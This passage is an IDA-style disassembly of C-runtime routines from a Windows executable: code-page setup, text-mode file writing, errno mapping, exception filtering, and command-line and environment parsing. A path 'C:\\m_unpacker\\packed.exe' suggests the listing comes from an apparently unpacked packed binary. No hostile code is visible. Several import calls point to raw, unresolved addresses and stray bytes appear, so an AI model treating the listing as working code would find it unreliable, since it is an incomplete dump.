		jz	short loc_41EA26

loc_41E9FA:				; CODE XREF: sub_41E92D+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41EA26
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41EA1F
		mov	edx, [ebp+var_4]
		mov	dl, byte_43B938[edx]

loc_41EA14:				; CODE XREF: sub_41E92D+F0j
		or	byte_48B561[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41EA14

loc_41EA1F:				; CODE XREF: sub_41E92D+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41E9FA

loc_41EA26:				; CODE XREF: sub_41E92D+CBj
					; sub_41E92D+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41E9F3
		mov	eax, [ebp+arg_0]
		mov	dword_48B45C, 1
		push	eax
		mov	dword_48B444, eax
		call	sub_41EB10
		lea	esi, dword_43B944[esi]
		mov	edi, offset dword_48B450
		movsd
		movsd
		pop	ecx
		mov	dword_48B664, eax
		movsd
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------

loc_41EA60:				; CODE XREF: sub_41E92D+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41E9B4

loc_41EA6C:				; CODE XREF: sub_41E92D+7Ej
					; sub_41E92D+8Bj
		push	1
		pop	eax

loc_41EA6F:				; CODE XREF: sub_41E92D+14Fj
		or	byte_48B561[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41EA6F
		push	esi
		call	sub_41EB10
		pop	ecx
		mov	dword_48B664, eax
		mov	dword_48B45C, 1
		jmp	short loc_41EA9C
; ---------------------------------------------------------------------------

loc_41EA96:				; CODE XREF: sub_41E92D+74j
		mov	dword_48B45C, ebx

loc_41EA9C:				; CODE XREF: sub_41E92D+167j
		xor	eax, eax
		mov	edi, offset dword_48B450
		stosd
		stosd
		stosd
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------

loc_41EAA8:				; CODE XREF: sub_41E92D+51j
		cmp	dword_48A0C4, ebx
		jz	short loc_41EABE

loc_41EAB0:				; CODE XREF: sub_41E92D+27j
		call	sub_41EB43

loc_41EAB5:				; CODE XREF: sub_41E92D+131j
					; sub_41E92D+179j
		call	sub_41EB6C

loc_41EABA:				; CODE XREF: sub_41E92D+1Dj
		xor	eax, eax
		jmp	short loc_41EAC1
; ---------------------------------------------------------------------------

loc_41EABE:				; CODE XREF: sub_41E92D+181j
		or	eax, 0FFFFFFFFh

loc_41EAC1:				; CODE XREF: sub_41E92D+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E92D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EAC6	proc near		; CODE XREF: sub_41E92D+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_48A0C4, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41EAE6
		mov	dword_48A0C4, 1
		nop
		jmp	near ptr 25F029Ch
; ---------------------------------------------------------------------------

loc_41EAE6:				; CODE XREF: sub_41EAC6+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41EAFB
		mov	dword_48A0C4, 1
		jmp	near ptr 2891791h
; ---------------------------------------------------------------------------
		db 0D9h
; ---------------------------------------------------------------------------

loc_41EAFB:				; CODE XREF: sub_41EAC6+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41EB0F
		mov	eax, dword_48A0B8
		mov	dword_48A0C4, 1

locret_41EB0F:				; CODE XREF: sub_41EAC6+38j
		retn
sub_41EAC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB10	proc near		; CODE XREF: sub_41E92D+118p
					; sub_41E92D+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41EB3D
		sub	eax, 4
		jz	short loc_41EB37
		sub	eax, 0Dh
		jz	short loc_41EB31
		dec	eax
		jz	short loc_41EB2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41EB2B:				; CODE XREF: sub_41EB10+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_41EB31:				; CODE XREF: sub_41EB10+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_41EB37:				; CODE XREF: sub_41EB10+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_41EB3D:				; CODE XREF: sub_41EB10+9j
		mov	eax, 411h
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB43	proc near		; CODE XREF: sub_41E92D:loc_41EAB0p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_48B560
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_48B450
		mov	dword_48B444, eax
		mov	dword_48B45C, eax
		mov	dword_48B664, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41EB43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB6C	proc near		; CODE XREF: sub_41E92D:loc_41EAB5p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_48B444
		nop
		call	near ptr 28910C2h
		cmp	eax, 1
		jnz	loc_41ECA5
		xor	eax, eax
		mov	esi, 100h

loc_41EB96:				; CODE XREF: sub_41EB6C+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41EB96
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41EBE7
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]

loc_41EBB5:				; CODE XREF: sub_41EB6C+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41EBDC
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_41EBDC:				; CODE XREF: sub_41EB6C+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41EBB5
		pop	edi
		pop	ebx

loc_41EBE7:				; CODE XREF: sub_41EB6C+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_48B664
		push	dword_48B444
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41FB63
		push	0
		lea	eax, [ebp+var_214]
		push	dword_48B444
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_48B664
		call	sub_41E709
		push	0
		lea	eax, [ebp+var_314]
		push	dword_48B444
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_48B664
		call	sub_41E709
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]

loc_41EC62:				; CODE XREF: sub_41EB6C+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41EC80
		or	byte_48B561[eax], 10h
		mov	dl, [ebp+eax+var_214]

loc_41EC78:				; CODE XREF: sub_41EB6C+127j
		mov	byte_48B460[eax], dl
		jmp	short loc_41EC9C
; ---------------------------------------------------------------------------

loc_41EC80:				; CODE XREF: sub_41EB6C+FCj
		test	dl, 2
		jz	short loc_41EC95
		or	byte_48B561[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41EC78
; ---------------------------------------------------------------------------

loc_41EC95:				; CODE XREF: sub_41EB6C+117j
		and	byte_48B460[eax], 0

loc_41EC9C:				; CODE XREF: sub_41EB6C+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41EC62
		jmp	short loc_41ECEE
; ---------------------------------------------------------------------------

loc_41ECA5:				; CODE XREF: sub_41EB6C+1Dj
		xor	eax, eax
		mov	esi, 100h

loc_41ECAC:				; CODE XREF: sub_41EB6C+180j
		cmp	eax, 41h
		jb	short loc_41ECCA
		cmp	eax, 5Ah
		ja	short loc_41ECCA
		or	byte_48B561[eax], 10h
		mov	cl, al
		add	cl, 20h

loc_41ECC2:				; CODE XREF: sub_41EB6C+174j
		mov	byte_48B460[eax], cl
		jmp	short loc_41ECE9
; ---------------------------------------------------------------------------

loc_41ECCA:				; CODE XREF: sub_41EB6C+143j
					; sub_41EB6C+148j
		cmp	eax, 61h
		jb	short loc_41ECE2
		cmp	eax, 7Ah
		ja	short loc_41ECE2
		or	byte_48B561[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41ECC2
; ---------------------------------------------------------------------------

loc_41ECE2:				; CODE XREF: sub_41EB6C+161j
					; sub_41EB6C+166j
		and	byte_48B460[eax], 0

loc_41ECE9:				; CODE XREF: sub_41EB6C+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41ECAC

loc_41ECEE:				; CODE XREF: sub_41EB6C+137j
		pop	esi
		leave
		retn
sub_41EB6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ECF1	proc near		; CODE XREF: sub_41F12F+9p
					; sub_41F187+Dp ...
		cmp	dword_48B694, 0
		jnz	short locret_41ED0C
		push	0FFFFFFFDh
		call	sub_41E92D
		pop	ecx
		mov	dword_48B694, 1

locret_41ED0C:				; CODE XREF: sub_41ECF1+7j
		retn
sub_41ECF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED0D	proc near		; CODE XREF: sub_4192B8+2Bp
					; sub_4192B8+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_48B45C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41ED31
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_418C10
		add	esp, 0Ch
		jmp	short loc_41ED94
; ---------------------------------------------------------------------------

loc_41ED31:				; CODE XREF: sub_41ED0D+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41ED76
		mov	ecx, [ebp+arg_4]

loc_41ED3C:				; CODE XREF: sub_41ED0D+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_48B561[esi], 4
		mov	[edi], al
		jz	short loc_41ED60
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41ED6C
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41ED72
		jmp	short loc_41ED66
; ---------------------------------------------------------------------------

loc_41ED60:				; CODE XREF: sub_41ED0D+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41ED76

loc_41ED66:				; CODE XREF: sub_41ED0D+51j
		test	edx, edx
		jnz	short loc_41ED3C
		jmp	short loc_41ED76
; ---------------------------------------------------------------------------

loc_41ED6C:				; CODE XREF: sub_41ED0D+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41ED76
; ---------------------------------------------------------------------------

loc_41ED72:				; CODE XREF: sub_41ED0D+4Fj
		and	byte ptr [edi-2], 0

loc_41ED76:				; CODE XREF: sub_41ED0D+2Aj
					; sub_41ED0D+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41ED91
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb

loc_41ED91:				; CODE XREF: sub_41ED0D+6Fj
		mov	eax, [ebp+arg_0]

loc_41ED94:				; CODE XREF: sub_41ED0D+22j
		pop	edi
		pop	ebp
		retn
sub_41ED0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED97	proc near		; CODE XREF: sub_4196EF+A2p
					; sub_419D23+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_48B440
		push	esi
		push	edi
		jnb	loc_41EF2B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41EF2B
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41EDE8

loc_41EDE1:				; CODE XREF: sub_41ED97+177j
		xor	eax, eax
		jmp	loc_41EF3F
; ---------------------------------------------------------------------------

loc_41EDE8:				; CODE XREF: sub_41ED97+48j
		test	al, 20h
		jz	short loc_41EDF8
		push	2
		push	edi
		push	ecx
		call	sub_41E517
		add	esp, 0Ch

loc_41EDF8:				; CODE XREF: sub_41ED97+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41EEC7
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41EEFF

loc_41EE18:				; CODE XREF: sub_41ED97+F5j
		lea	eax, [ebp+var_414]

loc_41EE1E:				; CODE XREF: sub_41ED97+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41EE52
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41EE3D
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax

loc_41EE3D:				; CODE XREF: sub_41ED97+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41EE1E

loc_41EE52:				; CODE XREF: sub_41ED97+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_41EEBC
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41EE8E
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41EE18

loc_41EE8E:				; CODE XREF: sub_41ED97+EAj
					; sub_41ED97+12Ej
		xor	edi, edi

loc_41EE90:				; CODE XREF: sub_41ED97+150j
					; sub_41ED97+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41EF26
		cmp	[ebp+arg_0], edi
		jz	short loc_41EEFF
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41EEF4
		mov	dword_48A014, 9
		mov	dword_48A018, eax
		jmp	loc_41EF3C
; ---------------------------------------------------------------------------

loc_41EEBC:				; CODE XREF: sub_41ED97+E0j
		nop
		call	near ptr 2650C45h
		mov	[ebp+arg_0], eax
		jmp	short loc_41EE8E
; ---------------------------------------------------------------------------

loc_41EEC7:				; CODE XREF: sub_41ED97+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_41EEE9
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------

loc_41EEE9:				; CODE XREF: sub_41ED97+145j
		nop
		call	near ptr 2650C45h
		mov	[ebp+arg_0], eax
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------

loc_41EEF4:				; CODE XREF: sub_41ED97+10Fj
		push	[ebp+arg_0]
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------

loc_41EEFF:				; CODE XREF: sub_41ED97+7Bj
					; sub_41ED97+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41EF14
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41EDE1

loc_41EF14:				; CODE XREF: sub_41ED97+16Fj
		mov	dword_48A014, 1Ch
		mov	dword_48A018, edi
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------

loc_41EF26:				; CODE XREF: sub_41ED97+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41EF3F
; ---------------------------------------------------------------------------

loc_41EF2B:				; CODE XREF: sub_41ED97+15j
					; sub_41ED97+37j
		and	dword_48A018, 0
		mov	dword_48A014, 9

loc_41EF3C:				; CODE XREF: sub_41ED97+120j
					; sub_41ED97+166j ...
		or	eax, 0FFFFFFFFh

loc_41EF3F:				; CODE XREF: sub_41ED97+4Cj
					; sub_41ED97+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ED97	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EF44	proc near		; CODE XREF: sub_4197F9+16p
					; sub_419BBA+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_48A018, ecx
		mov	eax, offset dword_43BA30

loc_41EF55:				; CODE XREF: sub_41EF44+1Ej
		cmp	ecx, [eax]
		jz	short loc_41EF79
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43BB98
		jl	short loc_41EF55
		cmp	ecx, 13h
		jb	short loc_41EF86
		cmp	ecx, 24h
		ja	short loc_41EF86
		mov	dword_48A014, 0Dh
		retn
; ---------------------------------------------------------------------------

loc_41EF79:				; CODE XREF: sub_41EF44+13j
		mov	eax, dword_43BA34[edx*8]
		mov	dword_48A014, eax
		retn
; ---------------------------------------------------------------------------

loc_41EF86:				; CODE XREF: sub_41EF44+23j
					; sub_41EF44+28j
		cmp	ecx, 0BCh
		jb	short loc_41EFA0
		cmp	ecx, 0CAh
		mov	dword_48A014, 8
		jbe	short locret_41EFAA

loc_41EFA0:				; CODE XREF: sub_41EF44+48j
		mov	dword_48A014, 16h

locret_41EFAA:				; CODE XREF: sub_41EF44+5Aj
		retn
sub_41EF44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EFAB	proc near		; CODE XREF: ___:00419CC7p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_41F0EC
		test	eax, eax
		pop	ecx
		jz	loc_41F0E0
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41F0E0
		cmp	ebx, 5
		jnz	short loc_41EFDC
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41F0E9
; ---------------------------------------------------------------------------

loc_41EFDC:				; CODE XREF: sub_41EFAB+23j
		cmp	ebx, 1
		jz	loc_41F0DB
		mov	ecx, dword_48A0C8
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_48A0C8, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41F0CB
		mov	ecx, dword_43BC10
		mov	edx, dword_43BC14
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41F02B
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43BBA0h[esi*4]

loc_41F022:				; CODE XREF: sub_41EFAB+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41F022

loc_41F02B:				; CODE XREF: sub_41EFAB+69j
		mov	eax, [eax]
		mov	esi, dword_43BC1C
		cmp	eax, 0C000008Eh
		jnz	short loc_41F046
		mov	dword_43BC1C, 83h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F046:				; CODE XREF: sub_41EFAB+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_41F059
		mov	dword_43BC1C, 81h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F059:				; CODE XREF: sub_41EFAB+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_41F06C
		mov	dword_43BC1C, 84h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F06C:				; CODE XREF: sub_41EFAB+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_41F07F
		mov	dword_43BC1C, 85h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F07F:				; CODE XREF: sub_41EFAB+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_41F092
		mov	dword_43BC1C, 82h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F092:				; CODE XREF: sub_41EFAB+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_41F0A5
		mov	dword_43BC1C, 86h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------

loc_41F0A5:				; CODE XREF: sub_41EFAB+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_41F0B6
		mov	dword_43BC1C, 8Ah

loc_41F0B6:				; CODE XREF: sub_41EFAB+99j
					; sub_41EFAB+ACj ...
		push	dword_43BC1C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43BC1C, esi
		pop	ecx
		pop	esi
		jmp	short loc_41F0D3
; ---------------------------------------------------------------------------

loc_41F0CB:				; CODE XREF: sub_41EFAB+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx

loc_41F0D3:				; CODE XREF: sub_41EFAB+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_48A0C8, eax

loc_41F0DB:				; CODE XREF: sub_41EFAB+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F0E9
; ---------------------------------------------------------------------------

loc_41F0E0:				; CODE XREF: sub_41EFAB+Fj
					; sub_41EFAB+1Aj
		push	[ebp+arg_4]
		nop
		call	near ptr 25F0000h

loc_41F0E9:				; CODE XREF: sub_41EFAB+2Cj
					; sub_41EFAB+133j
		pop	ebx
		pop	ebp
		retn
sub_41EFAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F0EC	proc near		; CODE XREF: sub_41EFAB+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43BC18
		cmp	dword_43BB98, edx
		push	esi
		mov	eax, offset dword_43BB98
		jz	short loc_41F119
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43BB98h[esi*4]

loc_41F10E:				; CODE XREF: sub_41F0EC+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41F119
		cmp	[eax], edx
		jnz	short loc_41F10E

loc_41F119:				; CODE XREF: sub_41F0EC+16j
					; sub_41F0EC+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43BB98h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41F12C
		cmp	[eax], edx
		jz	short locret_41F12E

loc_41F12C:				; CODE XREF: sub_41F0EC+3Aj
		xor	eax, eax

locret_41F12E:				; CODE XREF: sub_41F0EC+3Ej
		retn
sub_41F0EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F12F	proc near		; CODE XREF: ___:00419C89p
		cmp	dword_48B694, 0
		jnz	short loc_41F13D
		call	sub_41ECF1

loc_41F13D:				; CODE XREF: sub_41F12F+7j
		push	esi
		mov	esi, dword_48B68C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41F16F

loc_41F14A:				; CODE XREF: sub_41F12F+33j
					; sub_41F12F+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41F167
		test	al, al
		jz	short loc_41F167
		movzx	eax, al
		push	eax
		call	sub_42101D
		test	eax, eax
		pop	ecx
		jz	short loc_41F14A
		inc	esi
		jmp	short loc_41F14A
; ---------------------------------------------------------------------------

loc_41F167:				; CODE XREF: sub_41F12F+21j
					; sub_41F12F+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41F179

loc_41F16C:				; CODE XREF: sub_41F12F+52j
		inc	esi
		jmp	short loc_41F179
; ---------------------------------------------------------------------------

loc_41F16F:				; CODE XREF: sub_41F12F+19j
		cmp	al, 20h
		jbe	short loc_41F179

loc_41F173:				; CODE XREF: sub_41F12F+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41F173

loc_41F179:				; CODE XREF: sub_41F12F+3Bj
					; sub_41F12F+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41F183
		cmp	al, 20h
		jbe	short loc_41F16C

loc_41F183:				; CODE XREF: sub_41F12F+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_41F12F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F187	proc near		; CODE XREF: ___:00419C72p
		push	ebx
		xor	ebx, ebx
		cmp	dword_48B694, ebx
		push	esi
		push	edi
		jnz	short loc_41F199
		call	sub_41ECF1

loc_41F199:				; CODE XREF: sub_41F187+Bj
		mov	esi, dword_48A060
		xor	edi, edi

loc_41F1A1:				; CODE XREF: sub_41F187+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41F1B9
		cmp	al, 3Dh
		jz	short loc_41F1AC
		inc	edi

loc_41F1AC:				; CODE XREF: sub_41F187+22j
		push	esi
		call	sub_417AB0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41F1A1
; ---------------------------------------------------------------------------

loc_41F1B9:				; CODE XREF: sub_41F187+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_48A03C, esi
		jnz	short loc_41F1DB
		push	9
		call	sub_419CDA
		pop	ecx

loc_41F1DB:				; CODE XREF: sub_41F187+4Aj
		mov	edi, dword_48A060
		cmp	[edi], bl
		jz	short loc_41F21E
		push	ebp

loc_41F1E6:				; CODE XREF: sub_41F187+94j
		push	edi
		call	sub_417AB0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41F217
		push	ebp
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41F20A
		push	9
		call	sub_419CDA
		pop	ecx

loc_41F20A:				; CODE XREF: sub_41F187+79j
		push	edi
		push	dword ptr [esi]
		call	sub_4179C0
		pop	ecx
		add	esi, 4
		pop	ecx

loc_41F217:				; CODE XREF: sub_41F187+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41F1E6
		pop	ebp

loc_41F21E:				; CODE XREF: sub_41F187+5Cj
		push	dword_48A060
		call	sub_417C3B
		pop	ecx
		mov	dword_48A060, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_48B690, 1
		pop	ebx
		retn
sub_41F187	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F240	proc near		; CODE XREF: ___:00419C6Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_48B694, ebx
		push	esi
		push	edi
		jnz	short loc_41F257
		call	sub_41ECF1

loc_41F257:				; CODE XREF: sub_41F240+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	near ptr 2660000h
		nop
		mov	eax, dword_48B68C
		mov	off_48A04C, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41F27C
		mov	edi, eax

loc_41F27C:				; CODE XREF: sub_41F240+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41F2D9
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_417B89
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41F2AC
		push	8
		call	sub_419CDA
		pop	ecx

loc_41F2AC:				; CODE XREF: sub_41F240+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41F2D9
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_48A034, esi
		pop	edi
		pop	esi
		mov	dword_48A030, eax
		pop	ebx
		leave
		retn
sub_41F240	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F2D9	proc near		; CODE XREF: sub_41F240+47p
					; sub_41F240+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
